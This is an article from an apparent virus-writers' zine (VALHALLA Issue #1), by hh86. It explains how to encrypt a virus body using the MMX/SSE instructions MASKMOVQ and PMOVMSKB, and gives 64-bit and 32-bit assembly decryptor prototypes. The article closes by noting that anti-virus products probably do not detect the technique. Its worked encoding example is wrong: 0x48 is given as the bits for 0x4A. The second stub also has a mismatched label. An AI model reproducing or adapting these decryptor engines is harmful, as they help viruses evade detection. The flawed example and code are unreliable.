VALHALLA Issue #1

2019 Re-edition

                                The Masquerader
                                       by
                                      hh86

Masks on

For long time I wanted to use a MMX  decryption engine.  MMX  was  introduced by
Intel earlier, and it has lots of complex instructions.  Then AMD introduced few
more instructions for it. Which I forgot in the time. And then some of them went
for SSE by Intel little later.  However, for this virus I didn't employed any of
those  complex  shuffling, packing, or logic  instructions.  I  only wanted one:
MASKMOVQ.

The interesting about this  instruction is that it moves to  memory a  32/64-bit
value  conditionally.  It takes two operands, source  which holds value to move.
Second operand is mask, the mask specifies which byte of the source must move to
memory.   If most significant bit of each byte is on (in mask), then byte source
is moved to  memory  (memory pointer is always in EDI/RDI), if off then nothing.


Masquerade ceremony

Basically,  I thought to use it in its 64-bit form, so that we can take  8 bytes
strings.  From each string we randomly choose some bytes to be replaced.   Those
bytes will be replaced by random byte.  Then we need to make a mask.  Let say xx
marks chosen bytes and 00 non-chosen bytes  (therefore, the bytes of the virus):

        00 xx 00 00 xx xx 00 xx

This would be the mask:

        00 80 00 00 80 80 00 80

This mask says we do not overwrite the values of the 00s, we do overwrite the xx
ones. So, we need to know the original values of the xxs, so they must be stored
somewhere.   Now 00s mark original values, and xx random values, in 64-bit value 
we saved to restore the virus:

        xx 00 xx xx 00 00 xx 00

Since the mask says to not overwrite some values, we can use random to obfuscate
originals inside  64-bit string, and they will not be written to the virus body.

Here is 64-bit code decryptor prototype.

        call    skip_tables
        ;tables go here

skip_tables     label    near
        pop     rdi                          ;always must be EDI the pointer to virus code
        mov     ecx, size

delta_size      label    near
        lea     rsi, dword ptr [rdi + rcx]   ;pointer to mask table
        lea     rbp, dword ptr [rsi + rcx]   ;pointer to original values table
        push    rdi

decrypt_loop    label    near
        movq    mm0, qword ptr [rbp]
        movq    mm1, qword ptr [rsi]
        maskmovq mm0, mm1
        scas    qword ptr [rdi]
        lods    qword ptr [rsi]
        add     rbp, 8
        sub     rcx, 8
        jnz     decrypt_loop

Very small, isn't it? :)


PMOVMSKB

SSE provides us  with this  instruction to create a byte mask formed by the sign
bit from each byte in the source operand.  So, if we want bit 1 then MSB must be
set, otherwise must be 0. I use a 64-bit long value from which the mask is made,
so  this  mean  we have a 64-bit key for each byte of the virus!  Unfortunately, 
unlike MASKMOVQ the mask is not moved into memory directly.   It is moved in x86
32-bit GP register.  We will need to allocate a long amount of space for our new
key table this time.


Masquerade ceremony

For instance, we want to make value 0x48.  Here is encoded in binary:

        0 1 0 0 1 0 1 0

For it we would need a 64-bit key:

        00 FF 00 00 FF 00 FF 00

So simple.  Here is 32-bit code decryptor prototype.

        call    skip_tables
        ;tables go here

skip_table      label    near
        pop     edi
        mov     ecx, codesize
        mov     esi, edi

decrypt_loop    label    near
        movq    mm1, qword ptr [esi]
        pmovmskb eax, mm1
        stos    byte ptr [edi]
        lods    dword ptr [esi]
        lods    dword ptr [esi]
        sub     ecx, 8
        jnz     decrypt_loop

Very small, isn't it? :)


Ending

Both instructions can be used for  much  more, though, and anti-viruses probably
don't even support it, we are going to be fine for a while. ;)